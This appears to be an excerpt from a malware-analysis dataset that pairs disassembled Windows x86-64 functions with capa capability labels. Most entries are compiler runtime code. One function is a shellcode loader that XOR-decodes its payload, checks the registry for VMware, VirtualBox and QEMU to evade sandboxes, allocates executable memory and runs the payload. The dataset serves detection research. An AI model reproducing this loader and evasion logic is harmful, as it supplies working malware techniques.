joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3636ea6f6
Capabilities:
Create thread

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp - 4], 0
jmp 0x3636ea766
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0xffffffffffffffff
jne 0x3636ea759
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
cmp eax, 0xd
jne 0x3636ea759
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x3636ea762
cmp qword [rbp - 0x10], 0xffffffffffffffff
jne 0x3636ea79f
jmp 0x3636ea76c
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x13
jle 0x3636ea712
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov ebx, dword [rax]
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
mov r8d, ebx
lea rax, str.runtime:_failed_to_create_new_OS_thread___d__n
mov rdx, rax
call fcn.3636eb8d0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
add rsp, 0x38
pop rbx
pop rbp
ret

Function at 0x3636eaaf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.3636eb8b0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x3636eab60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x3638be794]
test esi, esi
mov rbx, rcx
jle 0x3636eac90
mov rax, qword [0x3638be798]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3636eabab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3636eac35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3636eab90
mov rcx, rbx
call fcn.3636eb3c0
test rax, rax
mov rdi, rax
je 0x3636eacb2
mov rax, qword [0x3638be798]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.3636eb500
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3638be798]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3636eac97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3636eac2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3636eac40
add dword [0x3638be794], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x3638be798]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3636eac2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.3636eaaf0
nop dword [rax]
xor esi, esi
jmp 0x3636eabb8
mov rax, qword [0x3638be798]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.3636eaaf0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.3636eaaf0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x3636eb030
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3638be7c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3638be7a0]
test rbx, rbx
je 0x3636eb08c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3636eb083
test rsi, rsi
je 0x3636eb083
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3636eb068
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3636eb3c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x36382bd00]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3636eb3e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3636eb3e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3636eb3e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3636eb43d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x3636eb434
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3636eb3e0
add rax, 0x28
cmp rax, r9
jne 0x3636eb420
xor eax, eax
ret

Function at 0x3636eb440
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x36382bd00]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3636eb45f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3636eb468
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3636eb45f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3636eb500
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x36382bd00]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3636eb51f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3636eb528
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140043cc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140043d40
cmp r11, r10
ja 0x140043db7
cmp r10, rdx
ja 0x140043dc9
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140043d42
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140043d20
jmp 0x140043da4
ja 0x140043d4a
mov r11, r10
cmp rax, r8
jne 0x140043cee
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140043d80
mov rdi, r8
sub ecx, edx
jns 0x140043d9b
jmp 0x140043da6
cmp r8, rsi
je 0x140043dd8
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140043da6
xor al, 1
cmp rdi, rsi
jne 0x140043d60
jmp 0x140043da6
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1403986b0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140398290
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140398720
int3
Function at 0x140059401
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x140059437
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14005943f
mov esi, dword [rdx]
mov r9d, 4
jmp 0x140059444
xor r10d, r10d
jmp 0x1400594f2
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x140059467
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14005947e
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14005949e
add r11, r8
jmp 0x1400595c3
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x140059566
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x140059514
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x140059578
mov r9d, dword [rdx + r10]
mov r8d, 4
jmp 0x14005957e
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x1400595a5
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x1400595bf
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140224170
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rsi, r9
mov rdi, r8
mov qword [rbp - 0x18], rdx
mov qword [rbp - 0x10], rcx
add rsi, r8
mov qword [rbp - 0x40], r8
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x30], 0x81
mov byte [rbp - 0x24], 0x81
mov r14b, 0x81
lea r9, [0x1404e52f0]
jmp 0x1402241cf
mov r15d, r15d
shl r15, 0x10
mov r12b, 2
xor ebx, ebx
cmp r14b, 0x81
je 0x1402241ed
movzx eax, r14b
cmp eax, 0x80
je 0x1402243d1
cmp bl, r12b
jb 0x1402243fa
test rdi, rdi
je 0x14022442e
cmp rdi, rsi
je 0x14022442e
movzx edx, byte [rdi]
movzx r15d, dl
test r15b, r15b
js 0x140224230
inc rdi
cmp r15d, 0x27
ja 0x1402242a4
mov r14b, 0x5c
mov eax, r15d
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov eax, r15d
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp r15b, 0xdf
jbe 0x14022428d
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140224308
movzx r15d, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r15d, 0x3f
or r15d, ecx
or r15d, eax
cmp r15d, 0x110000
je 0x14022442e
add rdi, 4
cmp r15d, 0x27
jbe 0x140224218
jmp 0x1402242a4
add rdi, 2
shl eax, 6
or eax, r8d
mov r15d, eax
cmp r15d, 0x27
jbe 0x140224218
cmp r15d, 0x5c
jne 0x1402242b8
mov r13b, 0x5c
xor r15d, r15d
mov r14b, 0x5c
jmp 0x1402241c3
cmp r15d, 0x2ff
jbe 0x1402242cd
mov ecx, r15d
call fcn.140043b80
test al, al
jne 0x140224320
mov ecx, r15d
call fcn.140043a40
mov r14b, 0x80
test al, al
je 0x140224320
lea r9, [0x1404e52f0]
jmp 0x1402241c3
add rdi, 3
shl eax, 0xc
or ecx, eax
mov r15d, ecx
cmp r15d, 0x27
jbe 0x140224218
jmp 0x1402242a4
mov eax, r15d
or eax, 1
bsr eax, eax
xor eax, 0x1c
shr eax, 2
lea rbx, [rax - 2]
mov byte [rbp], 0
mov word [rbp - 2], 0
mov ecx, r15d
shr ecx, 0x14
lea rdx, str.0123456789abcdef
movzx ecx, byte [rcx + rdx]
mov byte [rbp + 1], cl
mov ecx, r15d
shr ecx, 0x10
and ecx, 0xf
movzx ecx, byte [rcx + rdx]
mov byte [rbp + 2], cl
mov ecx, r15d
shr ecx, 0xc
and ecx, 0xf
movzx ecx, byte [rcx + rdx]
mov byte [rbp + 3], cl
mov ecx, r15d
shr ecx, 8
and ecx, 0xf
movzx ecx, byte [rcx + rdx]
mov byte [rbp + 4], cl
mov ecx, r15d
shr ecx, 4
and ecx, 0xf
movzx ecx, byte [rcx + rdx]
mov byte [rbp + 5], cl
and r15d, 0xf
movzx ecx, byte [r15 + rdx]
mov byte [rbp + 6], cl
mov byte [rbp + 7], 0x7d
mov word [rbp + rax - 4], 0x755c
mov byte [rbp + rax - 2], 0x7b
movzx r14d, byte [rbp - 2]
movzx r13d, byte [rbp - 1]
mov r15, qword [rbp]
mov r12b, 0xa
cmp r14b, 0x81
lea r9, [0x1404e52f0]
jne 0x1402241cf
jmp 0x14022442e
shr r15, 0x10
mov edx, r15d
lea rax, [rbp - 0x30]
mov dword [rax + 8], 0
mov qword [rax], 0
xor r15d, r15d
xor r13d, r13d
xor r12d, r12d
xor ebx, ebx
xor r14d, r14d
jmp 0x140224410
mov byte [rbp - 0x30], r14b
mov byte [rbp - 0x2f], r13b
mov qword [rbp - 0x2e], r15
movzx eax, bl
inc bl
movzx edx, byte [rbp + rax - 0x30]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
call qword [rax + 0x20]
test al, al
lea r9, [0x1404e52f0]
je 0x1402241cf
mov al, 1
jmp 0x140224430
xor eax, eax
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140393808
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x1403a63b0]
test rax, rax
je 0x140393852
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140393852
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140393852
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140393852
cmp dword [rcx + 0x84], 0xe
jbe 0x140393852
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140393854
xor al, al
add rsp, 0x28
ret
Function at 0x1400015f0
Capabilities:
Query or enumerate registry value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x468
lea rax, str.VMWARE
lea rdi, str.VIRTUALBOX
mov r13, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
movq xmm0, rdi
movq xmm1, rax
lea rdi, str.QEMU
mov r15, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
punpcklqdq xmm0, xmm1
lea rax, [0x14000a067]
lea rbp, str.SYSTEMControlSet001ServicesDiskEnum
movq xmm2, rax
lea r14, [0x14000a098]
movaps xmmword [rsp + 0x40], xmm0
movq xmm0, rdi
lea rbx, [rsp + 0x40]
mov rdi, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
punpcklqdq xmm0, xmm2
lea rsi, [rsp + 0x60]
lea r12, [rsp + 0x38]
mov dword [rsp + 0x34], 0x400
movaps xmmword [rsp + 0x50], xmm0
xor r8d, r8d
mov qword [rsp + 0x20], r12
mov r9d, 0x20019
mov rdx, rbp
mov rcx, 0xffffffff80000002
call rdi
test eax, eax
je 0x1400016c0
add rbx, 8
cmp rbx, rsi
jne 0x14000167f
xor eax, eax
add rsp, 0x468
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x34]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x38]
mov rdx, r14
call r13
test eax, eax
jne 0x1400016f4
mov rdx, qword [rbx]
mov rcx, rsi
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x1400016fe
mov rcx, qword [rsp + 0x38]
call r15
jmp 0x14000169d
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x1400016a8
Function at 0x140001770
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
movzx eax, byte [0x140009028]
lea rbp, [0x140009028]
movzx ebx, byte [0x14000903a]
mov rdx, rbp
xor bl, byte [0x140009036]
test al, al
je 0x1400017b0
nop
xor eax, ebx
add rdx, 1
mov byte [rdx - 1], al
movzx eax, byte [rdx]
test al, al
jne 0x1400017a0
movzx eax, byte [0x140009010]
lea r12, [0x140009010]
mov rdx, r12
test al, al
je 0x1400017d8
nop dword [rax]
xor eax, ebx
add rdx, 1
mov byte [rdx - 1], al
movzx eax, byte [rdx]
test al, al
jne 0x1400017c8
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.kernel32.dll
call rdi
lea rcx, str.ntdll.dll
mov rsi, rax
call rdi
mov rdx, rbp
mov rcx, rsi
mov rbp, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call rbp
mov rcx, rdi
mov rdx, r12
mov rsi, rax
call rbp
mov rdi, rax
test rsi, rsi
je 0x140001910
test rax, rax
je 0x140001910
call fcn.1400015f0
mov ebp, eax
test eax, eax
jne 0x1400018e8
lea rcx, [rsp + 0x28]
call fcn.140001710
mov r12, rax
test rax, rax
je 0x14000195b
mov rdx, qword [rsp + 0x28]
test rdx, rdx
je 0x14000191e
add rdx, rax
nop dword [rax]
xor byte [rax], bl
nop
add rax, 1
cmp rdx, rax
jne 0x140001860
mov r13, qword [rsp + 0x28]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov rdx, r13
call rsi
mov rsi, rax
test rax, rax
je 0x140001969
mov rcx, rax
mov r8, r13
mov rdx, r12
call rdi
mov rcx, r12
call sub.msvcrt.dll_free
test r13, r13
je 0x14000194b
xor edx, edx
nop
xor byte [rsi + rdx], bl
nop
mov rdi, qword [rsp + 0x28]
add rdx, 1
cmp rdx, rdi
jb 0x1400018b0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
je 0x1400018d3
nop
call rsi
nop
mov eax, ebp
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rcx, str.Sandbox_detected._Exiting._n
call fcn.140001540
mov ebp, 1
mov eax, ebp
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rcx, str.Failed_to_resolve_function_addresses._n
call fcn.140001540
jmp 0x1400018f4
mov r9d, 0x40
mov r8d, 0x1000
xor edx, edx
xor ecx, ecx
call rsi
mov rsi, rax
test rax, rax
je 0x140001969
mov rcx, rsi
xor r8d, r8d
mov rdx, r12
call rdi
mov rcx, r12
call sub.msvcrt.dll_free
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400018d3
lea rcx, str.Failed_to_load_shellcode._n
call fcn.140001540
jmp 0x1400018f4
lea rcx, str.Memory_allocation_failed._n
call fcn.140001540
mov rcx, r12
call sub.msvcrt.dll_free
jmp 0x1400018f4

Function at 0x140001c50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400079c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400079c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001cc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f104]
mov rbx, rcx
test esi, esi
jle 0x140001df0
mov rax, qword [0x14000f108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001d0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001cf0
mov rcx, rbx
call fcn.140002710
mov rdi, rax
test rax, rax
je 0x140001e12
mov rax, qword [0x14000f108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002850
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001df7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001da0
add dword [0x14000f104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001c50
nop dword [rax]
xor esi, esi
jmp 0x140001d18
mov rax, qword [0x14000f108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001c50
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001c50
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002380
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000f160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f140]
test rbx, rbx
je 0x1400023dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400023d3
test rsi, rsi
je 0x1400023d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400023b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002710
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a9a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002730
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002738
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002730
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000278d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002784
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002730
add rax, 0x28
cmp rax, r9
jne 0x140002770
xor eax, eax
ret

Function at 0x140002790
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400027af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400027b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400027af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002850
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a9a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000286f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002878
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14001af90]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14001afa0]
mov dword [rax], 1
mov rax, qword [0x14001afb0]
mov dword [rax], 1
mov rax, qword [0x14001af80]
mov dword [rax], 1
mov rax, qword [0x14001ae20]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14001af70]
mov dword [0x14001e020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14001af30]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14001af10]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14001adb0]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x1400018d0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
